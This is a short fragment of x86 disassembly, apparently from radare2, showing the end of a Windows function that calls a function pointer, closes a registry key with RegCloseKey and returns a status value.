mov dword [ebp - 0xc], eax
pop ecx
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push dword [ebp - 4]
call esi
test eax, eax
jne 0x401136
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call fcn.004095a1
pop ecx
pop esi
mov eax, dword [ebp - 0x14]
pop edi
pop ebx
leave
ret